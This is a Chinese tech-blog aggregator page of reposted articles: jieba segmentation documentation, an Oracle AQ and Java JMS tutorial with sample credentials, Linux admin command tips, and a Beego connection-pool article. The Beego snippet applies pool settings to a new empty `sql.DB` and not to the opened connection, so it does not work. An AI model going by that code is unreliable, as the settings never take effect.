USER_DICT使用 USER_DICT 作为附加词典,与默认词典或自定义词典配合使用-a, --cut-all 全模式分词(不支持词性标注)-n, --no-hmm 不使用隐含马尔可夫模型-q, --quiet 不输出载入信息到 STDERR-V, --version 显示版本信息并退出如果没有指定文件名,则使用标准输入。 --help 选项输出: $> python -m jieba --helpJieba command line interface.positional arguments:filename input fileoptional arguments:-h, --help show this help message and exit-d [DELIM], --delimiter [DELIM]use DELIM instead of ' / ' for word delimiter; or aspace if it is used without DELIM-p [DELIM], --pos [DELIM]enable POS tagging; if DELIM is specified, use DELIMinstead of '_' for POS delimiter-D DICT, --dict DICT use DICT as dictionary-u USER_DICT, --user-dict USER_DICTuse USER_DICT together with the default dictionary orDICT (if specified)-a, --cut-all full pattern cutting (ignored with POS tagging)-n, --no-hmm don't use the Hidden Markov Model-q, --quiet don't print loading messages to stderr-V, --version show program's version number and exitIf no filename specified, use STDIN instead. 延迟加载机制 jieba 采用延迟加载,import jieba 和 jieba.Tokenizer() 不会立即触发词典的加载,一旦有必要才开始加载词典构建前缀字典。如果你想手工初始 jieba,也可以手动初始化。 import jiebajieba.initialize() 手动初始化(可选) 在 0.28 之前的版本是不能指定主词典的路径的,有了延迟加载机制后,你可以改变主词典的路径: jieba.set_dictionary('data/dict.txt.big') 例子: https://github.com/fxsjy/jieba/blob/master/test/test_change_dictpath.py 其他词典 占用内存较小的词典文件 https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.small 支持繁体分词更好的词典文件 https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.big 下载你所需要的词典,然后覆盖 jieba/dict.txt 即可;或者用 jieba.set_dictionary('data/dict.txt.big') 其他语言实现 结巴分词 Java 版本 作者:piaolingxue 地址:https://github.com/huaban/jieba-analysis 结巴分词 C++ 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/cppjieba 结巴分词 Rust 版本 作者:messense, MnO2 地址:https://github.com/messense/jieba-rs 结巴分词 Node.js 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/nodejieba 结巴分词 Erlang 版本 作者:falood 地址:https://github.com/falood/exjieba 结巴分词 R 版本 作者:qinwf 地址:https://github.com/qinwf/jiebaR 结巴分词 iOS 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/iosjieba 结巴分词 PHP 版本 作者:fukuball 地址:https://github.com/fukuball/jieba-php 结巴分词 .NET(C) 版本 作者:anderscui 地址:https://github.com/anderscui/jieba.NET/ 结巴分词 Go 版本 作者: wangbin 地址: https://github.com/wangbin/jiebago 作者: yanyiwu 地址: https://github.com/yanyiwu/gojieba 结巴分词Android版本 作者 Dongliang.W 地址:https://github.com/452896915/jieba-android 友情链接 https://github.com/baidu/lac 百度中文词法分析(分词+词性+专名)系统 https://github.com/baidu/AnyQ 百度FAQ自动问答系统 https://github.com/baidu/Senta 百度情感识别系统 系统集成 Solr: https://github.com/sing1ee/jieba-solr 分词速度 1.5 MB / Second in Full Mode 400 KB / Second in Default Mode 测试环境: Intel® Core™ i7-2600 CPU @ 3.4GHz;《围城》.txt 常见问题 1. 模型的数据是如何生成的? 详见: https://github.com/fxsjy/jieba/issues/7 2. “台中”总是被切成“台 中”?(以及类似情况) P(台中) < P(台)×P(中),“台中”词频不够导致其成词概率较低 解决方法:强制调高词频 jieba.add_word('台中') 或者 jieba.suggest_freq('台中', True) 3. “今天天气 不错”应该被切成“今天 天气 不错”?(以及类似情况) 解决方法:强制调低词频 jieba.suggest_freq(('今天', '天气'), True) 或者直接删除该词 jieba.del_word('今天天气') 4. 切出了词典中没有的词语,效果不理想? 解决方法:关闭新词发现 jieba.cut('丰田太省了', HMM=False) jieba.cut('我们中出了一个叛徒', HMM=False) 更多问题请点击:https://github.com/fxsjy/jieba/issues?sort=updated&state=closed 修订历史 https://github.com/fxsjy/jieba/blob/master/Changelog jieba “Jieba” (Chinese for “to stutter”) Chinese text segmentation: built to be the best Python Chinese word segmentation module. Features Support three types of segmentation mode: Accurate Mode attempts to cut the sentence into the most accurate segmentations, which is suitable for text analysis. Full Mode gets all the possible words from the sentence. Fast but not accurate. Search Engine Mode, based on the Accurate Mode, attempts to cut long words into several short words, which can raise the recall rate. Suitable for search engines. Supports Traditional Chinese Supports customized dictionaries MIT License Online demo http://jiebademo.ap01.aws.af.cm/ (Powered by Appfog) Usage Fully automatic installation: easy_install jieba or pip install jieba Semi-automatic installation: Download http://pypi.python.org/pypi/jieba/ , run python setup.py install after extracting. Manual installation: place the jieba directory in the current directory or python site-packages directory. import jieba. Algorithm Based on a prefix dictionary structure to achieve efficient word graph scanning. Build a directed acyclic graph (DAG) for all possible word combinations. Use dynamic programming to find the most probable combination based on the word frequency. For unknown words, a HMM-based model is used with the Viterbi algorithm. Main Functions Cut The jieba.cut function accepts three input parameters: the first parameter is the string to be cut; the second parameter is cut_all, controlling the cut mode; the third parameter is to control whether to use the Hidden Markov Model. jieba.cut_for_search accepts two parameter: the string to be cut; whether to use the Hidden Markov Model. This will cut the sentence into short words suitable for search engines. The input string can be an unicode/str object, or a str/bytes object which is encoded in UTF-8 or GBK. Note that using GBK encoding is not recommended because it may be unexpectly decoded as UTF-8. jieba.cut and jieba.cut_for_search returns an generator, from which you can use a for loop to get the segmentation result (in unicode). jieba.lcut and jieba.lcut_for_search returns a list. jieba.Tokenizer(dictionary=DEFAULT_DICT) creates a new customized Tokenizer, which enables you to use different dictionaries at the same time. jieba.dt is the default Tokenizer, to which almost all global functions are mapped. Code example: segmentation encoding=utf-8import jiebaseg_list = jieba.cut("我来到北京清华大学", cut_all=True)print("Full Mode: " + "/ ".join(seg_list)) 全模式seg_list = jieba.cut("我来到北京清华大学", cut_all=False)print("Default Mode: " + "/ ".join(seg_list)) 默认模式seg_list = jieba.cut("他来到了网易杭研大厦")print(", ".join(seg_list))seg_list = jieba.cut_for_search("小明硕士毕业于中国科学院计算所,后在日本京都大学深造") 搜索引擎模式print(", ".join(seg_list)) Output: [Full Mode]: 我/ 来到/ 北京/ 清华/ 清华大学/ 华大/ 大学[Accurate Mode]: 我/ 来到/ 北京/ 清华大学[Unknown Words Recognize] 他, 来到, 了, 网易, 杭研, 大厦 (In this case, "杭研" is not in the dictionary, but is identified by the Viterbi algorithm)[Search Engine Mode]: 小明, 硕士, 毕业, 于, 中国, 科学, 学院, 科学院, 中国科学院, 计算, 计算所, 后, 在, 日本, 京都, 大学, 日本京都大学, 深造 Add a custom dictionary Load dictionary Developers can specify their own custom dictionary to be included in the jieba default dictionary. Jieba is able to identify new words, but you can add your own new words can ensure a higher accuracy. Usage: jieba.load_userdict(file_name) file_name is a file-like object or the path of the custom dictionary The dictionary format is the same as that of dict.txt: one word per line; each line is divided into three parts separated by a space: word, word frequency, POS tag. If file_name is a path or a file opened in binary mode, the dictionary must be UTF-8 encoded. The word frequency and POS tag can be omitted respectively. The word frequency will be filled with a suitable value if omitted. For example: 创新办 3 i云计算 5凱特琳 nz台中 Change a Tokenizer’s tmp_dir and cache_file to specify the path of the cache file, for using on a restricted file system. Example: 云计算 5李小福 2创新办 3[Before]: 李小福 / 是 / 创新 / 办 / 主任 / 也 / 是 / 云 / 计算 / 方面 / 的 / 专家 /[After]: 李小福 / 是 / 创新办 / 主任 / 也 / 是 / 云计算 / 方面 / 的 / 专家 / Modify dictionary Use add_word(word, freq=None, tag=None) and del_word(word) to modify the dictionary dynamically in programs. Use suggest_freq(segment, tune=True) to adjust the frequency of a single word so that it can (or cannot) be segmented. Note that HMM may affect the final result. Example: >>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中将/出错/。>>> jieba.suggest_freq(('中', '将'), True)494>>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中/将/出错/。>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台/中/」/正确/应该/不会/被/切开>>> jieba.suggest_freq('台中', True)69>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台中/」/正确/应该/不会/被/切开 Keyword Extraction import jieba.analyse jieba.analyse.extract_tags(sentence, topK=20, withWeight=False, allowPOS=()) sentence: the text to be extracted topK: return how many keywords with the highest TF/IDF weights. The default value is 20 withWeight: whether return TF/IDF weights with the keywords. The default value is False allowPOS: filter words with which POSs are included. Empty for no filtering. jieba.analyse.TFIDF(idf_path=None) creates a new TFIDF instance, idf_path specifies IDF file path. Example (keyword extraction) https://github.com/fxsjy/jieba/blob/master/test/extract_tags.py Developers can specify their own custom IDF corpus in jieba keyword extraction Usage: jieba.analyse.set_idf_path(file_name) file_name is the path for the custom corpus Custom Corpus Sample:https://github.com/fxsjy/jieba/blob/master/extra_dict/idf.txt.big Sample Code:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_idfpath.py Developers can specify their own custom stop words corpus in jieba keyword extraction Usage: jieba.analyse.set_stop_words(file_name) file_name is the path for the custom corpus Custom Corpus Sample:https://github.com/fxsjy/jieba/blob/master/extra_dict/stop_words.txt Sample Code:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_stop_words.py There’s also a TextRank implementation available. Use: jieba.analyse.textrank(sentence, topK=20, withWeight=False, allowPOS=('ns', 'n', 'vn', 'v')) Note that it filters POS by default. jieba.analyse.TextRank() creates a new TextRank instance. Part of Speech Tagging jieba.posseg.POSTokenizer(tokenizer=None) creates a new customized Tokenizer. tokenizer specifies the jieba.Tokenizer to internally use. jieba.posseg.dt is the default POSTokenizer. Tags the POS of each word after segmentation, using labels compatible with ictclas. Example: >>> import jieba.posseg as pseg>>> words = pseg.cut("我爱北京天安门")>>> for w in words:... print('%s %s' % (w.word, w.flag))...我 r爱 v北京 ns天安门 ns Parallel Processing Principle: Split target text by line, assign the lines into multiple Python processes, and then merge the results, which is considerably faster. Based on the multiprocessing module of Python. Usage: jieba.enable_parallel(4) Enable parallel processing. The parameter is the number of processes. jieba.disable_parallel() Disable parallel processing. Example: https://github.com/fxsjy/jieba/blob/master/test/parallel/test_file.py Result: On a four-core 3.4GHz Linux machine, do accurate word segmentation on Complete Works of Jin Yong, and the speed reaches 1MB/s, which is 3.3 times faster than the single-process version. Note that parallel processing supports only default tokenizers, jieba.dt and jieba.posseg.dt. Tokenize: return words with position The input must be unicode Default mode result = jieba.tokenize(u'永和服装饰品有限公司')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限公司 start: 6 end:10 Search mode result = jieba.tokenize(u'永和服装饰品有限公司',mode='search')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限 start: 6 end:8word 公司 start: 8 end:10word 有限公司 start: 6 end:10 ChineseAnalyzer for Whoosh from jieba.analyse import ChineseAnalyzer Example: https://github.com/fxsjy/jieba/blob/master/test/test_whoosh.py Command Line Interface $> python -m jieba --helpJieba command line interface.positional arguments:filename input fileoptional arguments:-h, --help show this help message and exit-d [DELIM], --delimiter [DELIM]use DELIM instead of ' / ' for word delimiter; or aspace if it is used without DELIM-p [DELIM], --pos [DELIM]enable POS tagging; if DELIM is specified, use DELIMinstead of '_' for POS delimiter-D DICT, --dict DICT use DICT as dictionary-u USER_DICT, --user-dict USER_DICTuse USER_DICT together with the default dictionary orDICT (if specified)-a, --cut-all full pattern cutting (ignored with POS tagging)-n, --no-hmm don't use the Hidden Markov Model-q, --quiet don't print loading messages to stderr-V, --version show program's version number and exitIf no filename specified, use STDIN instead. Initialization By default, Jieba don’t build the prefix dictionary unless it’s necessary. This takes 1-3 seconds, after which it is not initialized again. If you want to initialize Jieba manually, you can call: import jiebajieba.initialize() (optional) You can also specify the dictionary (not supported before version 0.28) : jieba.set_dictionary('data/dict.txt.big') Using Other Dictionaries It is possible to use your own dictionary with Jieba, and there are also two dictionaries ready for download: A smaller dictionary for a smaller memory footprint: https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.small There is also a bigger dictionary that has better support for traditional Chinese (繁體): https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.big By default, an in-between dictionary is used, called dict.txt and included in the distribution. In either case, download the file you want, and then call jieba.set_dictionary('data/dict.txt.big') or just replace the existing dict.txt. Segmentation speed 1.5 MB / Second in Full Mode 400 KB / Second in Default Mode Test Env: Intel® Core™ i7-2600 CPU @ 3.4GHz;《围城》.txt 本篇文章为转载内容。原文链接:https://blog.csdn.net/yegeli/article/details/107246661。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-02 10:38:37
501
转载
转载文章
...多种数据存储选项(如SQL Server、Azure Table Storage等)。在本文中,作者详细介绍了如何利用ASP.NET Identity进行自定义用户属性扩展、数据库迁移以及通过声明(Claims)进行细粒度的授权访问控制。 Entity Framework Code First , Entity Framework Code First 是一种ORM(对象关系映射)设计模式,允许开发者通过编写C代码来定义数据库模型,随后由Entity Framework自动创建对应的数据库架构。在ASP.NET Identity应用中,通过Code First技术可以方便地为用户类添加自定义属性,并根据这些属性的变化自动更新数据库结构,而无需手动编辑数据库脚本或删除已有数据。 声明(Claims) , 在ASP.NET Identity框架中,声明(Claims)是一种用于表示用户特定信息的数据结构,它可以包含用户的任意属性或特性,例如姓名、年龄、角色或者权限等。声明被用来实现细粒度的授权机制,应用程序可以根据用户携带的声明值灵活地决定其对资源的访问权限。在本文中,作者演示了如何使用声明来进行动作方法的授权访问控制,使得身份验证和授权过程更为灵活与精准。
2023-10-28 08:49:21
284
转载
转载文章
...t; end; 通过SQL语句查看消息是否正常入队: select from aq$demo_queue_table; select user_data from aq$demo_queue_table; 6. 出队消息 使用Oracle进行出队操作,我没有实验成功(不确定是否和DBMS_OUTPUT的执行权限有关),代码如下,读者可以进行调试: declare r_dequeue_options DBMS_AQ.DEQUEUE_OPTIONS_T; r_message_properties DBMS_AQ.MESSAGE_PROPERTIES_T; v_message_handle RAW(16); o_payload demo_queue_payload_type; begin DBMS_AQ.DEQUEUE( queue_name => 'demo_queue', dequeue_options => r_dequeue_options, message_properties => r_message_properties, payload => o_payload, msgid => v_message_handle ); DBMS_OUTPUT.PUT_LINE( ' Browse message is [' || o_payload.message || ']' ); end; 二、Java使用JMS监听并处理Oracle AQ队列 Java使用JMS进行相应的处理,需要使用Oracle提供的jar,在Oracle安装目录可以找到:在linux中可以使用find命令进行查找,例如 find pwd -name 'jmscommon.jar' 需要的jar为: app/oracle/product/12.1.0/dbhome_1/rdbms/jlib/jmscommon.jar app/oracle/product/12.1.0/dbhome_1/jdbc/lib/ojdbc7.jar app/oracle/product/12.1.0/dbhome_1/jlib/orai18n.jar app/oracle/product/12.1.0/dbhome_1/jlib/jta.jar app/oracle/product/12.1.0/dbhome_1/rdbms/jlib/aqapi_g.jar 1. 创建连接参数类 实际使用时可以把参数信息配置在properties文件中,使用Spring进行注入。 package org.kevin.jms; / @author 李文锴 连接参数信息 / public class JmsConfig { public String username = "ckevin"; public String password = "a111111111"; public String jdbcUrl = "jdbc:oracle:thin:@127.0.0.1:1521:orcl"; public String queueName = "demo_queue"; } 2. 创建消息转换类 因为消息载荷是Oracle数据类型,需要提供一个转换工厂类将Oracle类型转换为Java类型。 package org.kevin.jms; import java.sql.SQLException; import oracle.jdbc.driver.OracleConnection; import oracle.jdbc.internal.OracleTypes; import oracle.jpub.runtime.MutableStruct; import oracle.sql.CustomDatum; import oracle.sql.CustomDatumFactory; import oracle.sql.Datum; import oracle.sql.STRUCT; / @author 李文锴 数据类型转换类 / @SuppressWarnings("deprecation") public class QUEUE_MESSAGE_TYPE implements CustomDatum, CustomDatumFactory { public static final String _SQL_NAME = "QUEUE_MESSAGE_TYPE"; public static final int _SQL_TYPECODE = OracleTypes.STRUCT; MutableStruct _struct; // 12表示字符串 static int[] _sqlType = { 12 }; static CustomDatumFactory[] _factory = new CustomDatumFactory[1]; static final QUEUE_MESSAGE_TYPE _MessageFactory = new QUEUE_MESSAGE_TYPE(); public static CustomDatumFactory getFactory() { return _MessageFactory; } public QUEUE_MESSAGE_TYPE() { _struct = new MutableStruct(new Object[1], _sqlType, _factory); } public Datum toDatum(OracleConnection c) throws SQLException { return _struct.toDatum(c, _SQL_NAME); } public CustomDatum create(Datum d, int sqlType) throws SQLException { if (d == null) return null; QUEUE_MESSAGE_TYPE o = new QUEUE_MESSAGE_TYPE(); o._struct = new MutableStruct((STRUCT) d, _sqlType, _factory); return o; } public String getContent() throws SQLException { return (String) _struct.getAttribute(0); } } 3. 主类进行消息处理 package org.kevin.jms; import java.util.Properties; import javax.jms.Message; import javax.jms.MessageConsumer; import javax.jms.MessageListener; import javax.jms.Queue; import javax.jms.QueueConnection; import javax.jms.QueueConnectionFactory; import javax.jms.Session; import oracle.jms.AQjmsAdtMessage; import oracle.jms.AQjmsDestination; import oracle.jms.AQjmsFactory; import oracle.jms.AQjmsSession; / @author 李文锴 消息处理类 / public class Main { public static void main(String[] args) throws Exception { JmsConfig config = new JmsConfig(); QueueConnectionFactory queueConnectionFactory = AQjmsFactory.getQueueConnectionFactory(config.jdbcUrl, new Properties()); QueueConnection conn = queueConnectionFactory.createQueueConnection(config.username, config.password); AQjmsSession session = (AQjmsSession) conn.createQueueSession(false, Session.AUTO_ACKNOWLEDGE); conn.start(); Queue queue = (AQjmsDestination) session.getQueue(config.username, config.queueName); MessageConsumer consumer = session.createConsumer(queue, null, QUEUE_MESSAGE_TYPE.getFactory(), null, false); consumer.setMessageListener(new MessageListener() { @Override public void onMessage(Message message) { System.out.println("ok"); AQjmsAdtMessage adtMessage = (AQjmsAdtMessage) message; try { QUEUE_MESSAGE_TYPE payload = (QUEUE_MESSAGE_TYPE) adtMessage.getAdtPayload(); System.out.println(payload.getContent()); } catch (Exception e) { e.printStackTrace(); } } }); Thread.sleep(1000000); } } 使用Oracle程序块进行入队操作,在没有启动Java时看到队列表中存在数据。启动Java后,控制台正确的输出的消息;通过Oracle程序块再次写入消息,发现控制台正确处理消息。Java的JMS监听不是立刻进行处理,可能存在几秒中的时间差,时间不等。 三、监控表记录变化通知Java 下面的例子创建一个数据表,然后在表中添加触发器,当数据变化后触发器调用存储过程给Oracle AQ发送消息,然后使用Java JMS对消息进行处理。 1. 创建表 创建student表,包含username和age两个子段,其中username时varchar2类型,age时number类型。 2. 创建存储过程 创建send_aq_msg存储过程,因为存储过程中调用dbms数据包,系统包在存储过程中执行需要进行授权(使用sys用户进行授权): grant execute on dbms_aq to ckevin; 注意存储过程中包含commit语句。 create or replace PROCEDURE send_aq_msg (info IN VARCHAR2) as r_enqueue_options DBMS_AQ.ENQUEUE_OPTIONS_T; r_message_properties DBMS_AQ.MESSAGE_PROPERTIES_T; v_message_handle RAW(16); o_payload demo_queue_payload_type; begin o_payload := demo_queue_payload_type(info); dbms_aq.enqueue( queue_name => 'demo_queue', enqueue_options => r_enqueue_options, message_properties => r_message_properties, payload => o_payload, msgid => v_message_handle ); commit; end send_aq_msg; 3. 创建触发器 在student表中创建触发器,当数据写入或更新时,如果age=18,则进行入队操作。需要调用存储过程发送消息,但触发器中不能包含事物提交语句,因此需要使用pragma autonomous_transaction;声明自由事物: CREATE OR REPLACE TRIGGER STUDENT_TR AFTER INSERT OR UPDATE OF AGE ON STUDENT FOR EACH ROW DECLARE pragma autonomous_transaction; BEGIN if :new.age = 18 then send_aq_msg(:new.username); end if; END; 创建完触发器后向执行插入或更新操作: insert into student (username,age) values ('jack.lee.3k', 18); update student set age=18 where username='jack003'; Java JMS可以正确的处理消息。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_42309178/article/details/115241521。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-17 14:22:22
140
转载
转载文章
...3行 2 替换复杂的SQL语句: DATA DIRECTORY='./beihai365_pw/' INDEX DIRECTORY='./beihai365_pw/'; sed s@DATA\ DIRECTORY=\'./beihai365_pw/\'\ INDEX\ DIRECTORY=\'./beihai365_pw/\'\;@\;@g xxx.sql > xxx2.sql 3 改变 shell chsh -s /bin/bash root 4 不能使用 TAB list 。 默认是 csh .cshrc里加上set autolist 5 port 安装PHP扩展的时候, 只需要 : make 就行了 6 查出哪个IP地址连接最多,将其封了. netstat -na|grep ESTABLISHED|awk '{print $5}'|awk -F: '{print $1}'|sort|uniq -c|sort -r +0n netstat -na|grep SYN|awk '{print $5}'|awk -F: '{print $1}'|sort|uniq -c|sort -r +0n 7 netstat快速查看一下TCP连接情况 netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' 8 vi 里删除所有内容 :%d 9 tcpdump host x.x.x.x 监控某IP的数据包 tcpdump tcp port 23 host 210.27.48.1 监控某IP 某端口 tcpdump -i eth0 监控某网卡 10 查找多文件中包含的某字符 find / -type f | xargs -n 10 grep 'xxoo' 11 从某行开始查看。 zcat job365_20110406.sql.bz2 | sed -n '10,$p' | more 12 超找当前目录下 包含 490 字符窜的文件 grep 490 . -r 13 按照精确时间查找 sed -n '\/12\/Jun\/2011:02:50/p' nginx-access.log | more 本篇文章为转载内容。原文链接:https://blog.csdn.net/iteye_15968/article/details/82006780。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-25 14:41:59
185
转载
Beego
...的database/sql包来使用数据库连接池。首先,我们需要创建一个数据库连接池: go db, err := sql.Open("mysql", "user:password@/dbname") if err != nil { panic(err.Error()) } defer db.Close() pool := &sql.DB{} pool.SetMaxOpenConns(20) pool.SetMaxIdleConns(10) 这段代码首先通过sql.Open()函数打开一个数据库连接,然后定义了一个新的变量pool,类型为sql.DB。接着,我们设置了连接池的最大开放连接数为20,最大空闲连接数为10。 四、如何优化数据库连接池的配置? 在配置数据库连接池时,我们需要注意以下几个方面: 1. 设置合适的最大开放连接数和最大空闲连接数。如果最大允许的开放连接数太多了,就好比是一个接待员同时应付太多的客人,不仅会让整个系统的资源被胡乱消耗掉,变得大手大脚;而另一方面,要是最大空闲连接数设置得不够多,那就像是在高峰期,排队等待服务的顾客太少,结果就是数据库不得不频繁地忙前忙后,响应速度自然也就慢下来了。因此,这两个参数需要根据实际的业务需求来进行调整。 2. 避免频繁地关闭数据库连接。虽然数据库连接池确实是个好东西,能帮咱们有效解决频繁创建和销毁数据库连接这个大麻烦,但你要是总把它当成回收站,频繁地把连接丢回去,那这好经也可能被念歪了,会导致数据库连接资源白白浪费掉。因此,我们应该尽可能地减少数据库连接的释放次数。 3. 定期检查数据库连接池的状态。为了确保数据库连接池运转得顺顺畅畅,我们得定期给它做个全面体检,摸摸底儿,瞅瞅像当前有多少个连接在用啊,又有多少闲着没事儿干的空闲连接等等这些关键指标。这样一来,一旦有啥小毛小病的,咱们就能立马发现并及时处理掉,保证一切正常运行。 五、总结 总的来说,在Beego框架下使用数据库连接池是一个非常有效的方法,可以帮助我们提高数据库的性能。不过呢,咱们也得不断地摸索和捣鼓,才能找到那个最适合自家数据库的连接池配置。就像是找鞋子一样,不试穿几双,怎么能知道哪一双穿起来最合脚、最舒服呢?所以,对于数据库连接池的配置,咱也得慢慢尝试、逐步调整,才能找到最佳的那个“黄金比例”。同时,我们也应该注意保持良好的编程习惯,避免产生无谓的资源浪费。希望这篇内容能实实在在帮到你,让你更溜地掌握和运用Beego框架下的数据库连接池,让数据操作变得更顺手、更高效。
2023-12-11 18:28:55
528
岁月静好-t
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
zip -r archive.zip dir
- 将目录压缩为ZIP格式。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"